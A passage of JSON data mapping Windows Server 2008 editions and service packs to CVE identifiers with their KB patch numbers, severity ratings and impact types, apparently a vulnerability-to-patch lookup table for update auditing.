Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems (Server Core installation)":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information 